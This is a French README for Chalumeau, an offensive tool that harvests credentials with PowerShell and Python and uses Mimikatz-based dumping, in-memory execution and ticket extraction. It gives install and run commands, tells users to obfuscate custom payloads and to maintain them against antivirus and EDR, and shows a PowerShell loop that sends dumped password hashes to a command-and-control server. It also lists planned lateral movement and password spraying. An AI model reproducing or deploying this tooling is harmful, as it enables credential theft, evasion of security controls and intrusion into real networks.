Chalumeau

Chalumeau est un outil automatisé, extensible et personnalisable de collecte d'identifiants basé sur powershell et python.

Fonctionnalités principales

• Écrivez vos propres payloads
• Exécution en mémoire
• Extraire une liste de mots de passe
• Rapports sur tableau de bord / Interface web
• Analyse de Mimikatz
• Extraction de tickets

Captures d'écran

Problèmes connus

• Analyse de Mimikatz dcsync (en cours de correction)
• Contournement des antivirus et EDRs, vous devrez maintenir vos payloads

À faire

• Communication chiffrée
• Mouvement latéral automatisé
• Attaque par pulvérisation de mots de passe automatisée
• Craquage de hash automatisé

Utilisation

git clone https://github.com/cyberstruggle/chalumeau.git
cd chalumeau/
chmod +x install.sh
sudo ./install.sh

# Run
chmod +x start.sh

sudo ./start.sh

Créez votre propre payload

obfusquez votre propre payload powershell pour extraire des identifiants et utilisez l'appel de fonction de chalumeau sans aucune importation. chalumeau chiffrera la communication avec le c2 et enverra les identifiants extraits. sauvegardez simplement le fichier sous chalumeau-power/payloads

• Utilisation de la fonction ChalumeauSendCredentials
  • ChalumeauSendCredentials
    • Secret = le hash extrait ou le mot de passe en clair (chaîne)
    • Username = le nom d'utilisateur ou l'ID de l'identifiant extrait (chaîne)
    • IsClearText = 1 si c'est en clair, 0 sinon (entier)
    • Source = mentionnez la source du payload comme "Mimikatz Hash" (chaîne)

# Custom Payload Example
# $DumpedHashes is array of dumped hashes from the local machine
foreach ($hash in $DumpedHashes){
    ChalumeauSendCredentials -Secret $hash.secret -Username $hash.user -IsClearText 0 -source "My custom payload"
} 

Crédits

• wazehell Auteur
• Invoke-Obfuscation Daniel Bohannon
• Invoke-Mimikatz PowerSploit
• Get-PassHashes nishang
• Chalumeau Logo Aureliano
• Invoke-MassMimikatz PowerTools